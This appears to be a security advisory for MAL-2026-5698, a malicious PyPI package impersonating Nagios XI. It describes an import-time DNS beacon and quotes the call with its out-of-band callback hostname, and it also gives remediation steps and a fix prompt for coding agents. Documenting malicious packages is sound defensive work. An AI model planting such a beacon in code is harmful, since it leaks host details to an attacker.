# MAL-2026-5698: Malicious code in nagios-xi (PyPI)


- **Type:** Malicious package
- **Package:** `nagios-xi` (PyPI)
- **Published:** 12 Jun 2026

## What is MAL-2026-5698?

MAL-2026-5698 is a malicious package in nagios-xi, published on 12 Jun 2026. 

### Official description

On `import nagios_xi`, the package's `__init__.py` (lines 5-8) invokes `socket.gethostbyname("atlass-check.autaeqjhfowvnnmkwhxjtq8x39d8nder1.oast.fun")` inside a silent try/except. oast.fun is ProjectDiscovery's Interactsh out-of-band callback service; the DNS query itself is the exfiltration channel, confirming code execution on the installer's host and leaking the resolver IP to whoever controls the unique 32-character Interactsh subdomain. The package ships no actual functionality — it impersonates the Nagios XI commercial monitoring product (name `nagios-xi`, version `19.5.0` mimicking real Nagios XI versioning) while declaring an anonymous ProtonMail author (`Coding Team <pocbug@protonmail.com>`), a generic `package utility` description, and an empty README. The combination of brand impersonation, placeholder metadata, and an import-time OAST beacon as the package's sole behavior is reconnaissance for a supply-chain attack against developers searching for Nagios XI integrations.

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.

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Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

 - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.

 - The package overrides the install command in setup.py to execute malicious code during installation.

## What should I do about MAL-2026-5698?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5698 is a malicious package: nagios-xi (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5698/ (Markdown: https://insights.sbomify.com/MAL-2026-5698/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5698

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-5698/
Summaries are generated and may contain mistakes; the official description above is the record.